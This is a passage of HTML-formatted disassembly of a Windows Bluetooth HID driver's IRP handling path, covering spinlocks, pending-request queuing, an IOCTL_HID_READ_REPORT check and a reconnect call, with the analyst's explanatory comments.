&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0005AF0&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;r15&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0005AF3&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;cs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="no"&gt;__imp_KeReleaseSpinLock&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0005AFA&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;nop&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;dword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;00&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0005AFF&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsi&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;50&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;               &lt;/span&gt;&lt;span class="c1"&gt;; devExt&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0005B03&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rdx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;r14&lt;/span&gt;&lt;span class="w"&gt;                     &lt;/span&gt;&lt;span class="c1"&gt;; IRP&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0005B06&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;40&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0005B0A&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;                 &lt;/span&gt;&lt;span class="c1"&gt;; DeviceObject&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0005B0E&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;cs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="no"&gt;__imp_IofCallDriver&lt;/span&gt;&lt;span class="w"&gt;       &lt;/span&gt;&lt;span class="c1"&gt;; send IRP down&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0005B15&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;nop&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;dword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;00&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0005B1A&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;jmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;loc_1C0005C3F&lt;/span&gt;&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="c1"&gt;; → return&lt;/span&gt;

&lt;span class="c1"&gt;; --- pend/reconnect path: state != 2 ---&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0005B1F&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;r14&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="no"&gt;B8h&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;              &lt;/span&gt;&lt;span class="c1"&gt;; IRP CurrentStackLocation&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0005B26&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;r12d&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;18&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;              &lt;/span&gt;&lt;span class="c1"&gt;; r12d = IOCTL code (IoControlCode)&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0005B2A&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;cs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="no"&gt;WPP_GLOBAL_Control&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0005B31&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;WPP_6409fc53710f37f5585292f3662006bc_Traceguids&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0005B38&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;r9d&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;18&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0005B3E&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;58&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="no"&gt;var_30&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;r14&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0005B43&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;58&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="no"&gt;var_38&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0005B48&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;40&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0005B4C&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;r8d&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;r9-14h&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0005B50&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;WPP_RECORDER_SF_q&lt;/span&gt;&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="c1"&gt;; WPP trace event&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0005B55&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rdi&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;28&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;               &lt;/span&gt;&lt;span class="c1"&gt;; pending-list spinlock&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0005B59&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;cs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="no"&gt;__imp_KeAcquireSpinLockRaiseToDpc&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0005B60&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;nop&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;dword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;00&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0005B65&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rdx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;r14&lt;/span&gt;&lt;span class="w"&gt;                     &lt;/span&gt;&lt;span class="c1"&gt;; IRP&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0005B68&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rdi&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;               &lt;/span&gt;&lt;span class="c1"&gt;; pending-list head&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0005B6C&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;r9b&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;al&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0005B6F&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;IrpList_EnqueueLocked&lt;/span&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="c1"&gt;; add IRP to pending list, arm cancel routine&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0005B74&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rdi&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;28&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0005B78&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;dl&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;r9b&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0005B7B&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;ebp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;&lt;span class="w"&gt;                     &lt;/span&gt;&lt;span class="c1"&gt;; ebp = status (STATUS_PENDING)&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0005B7D&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;cs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="no"&gt;__imp_KeReleaseSpinLock&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0005B84&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;nop&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;dword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;00&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0005B89&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;dl&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;r13b&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0005B8C&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;r15&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0005B8F&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;cs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="no"&gt;__imp_KeReleaseSpinLock&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0005B96&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;nop&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;dword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;00&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0005B9B&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;xor&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;r15d&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;r15d&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0005B9E&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;test&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;ebp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;ebp&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0005BA0&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;js&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="no"&gt;loc_1C0005C3F&lt;/span&gt;&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="c1"&gt;; if enqueue failed, bail&lt;/span&gt;

&lt;span class="c1"&gt;; --- decide whether to reconnect ---&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0005BA6&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsi&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="no"&gt;A6h&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;r15b&lt;/span&gt;&lt;span class="w"&gt;             &lt;/span&gt;&lt;span class="c1"&gt;; ctx[0x5a6] == 0 ?&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0005BAD&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;jnz&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;loc_1C0005BEC&lt;/span&gt;&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="c1"&gt;; non-zero → alternate path&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0005BAF&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;r12d&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="no"&gt;B000Bh&lt;/span&gt;&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="c1"&gt;; IOCTL_HID_READ_REPORT ?&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0005BB6&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;jnz&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;loc_1C0005BC5&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0005BB8&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;xor&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0005BBA&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;lock&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;cmpxchg&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsi&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="no"&gt;F4h&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;r15d&lt;/span&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="c1"&gt;; try to set ctx[0x5f4] = 0&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0005BC3&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;jnz&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;loc_1C0005C3F&lt;/span&gt;&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="c1"&gt;; already 0 → done&lt;/span&gt;

&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0005BC5&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rsi&lt;/span&gt;&lt;span class="w"&gt;                     &lt;/span&gt;&lt;span class="c1"&gt;; ctx&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0005BC8&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;HidBthConnectToDevice&lt;/span&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="c1"&gt;; queue reconnect work item&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0005BCD&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;ebx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;&lt;span class="w"&gt;                     &lt;/span&gt;&lt;span class="c1"&gt;; ebx = status from reconnect&lt;/span&gt;
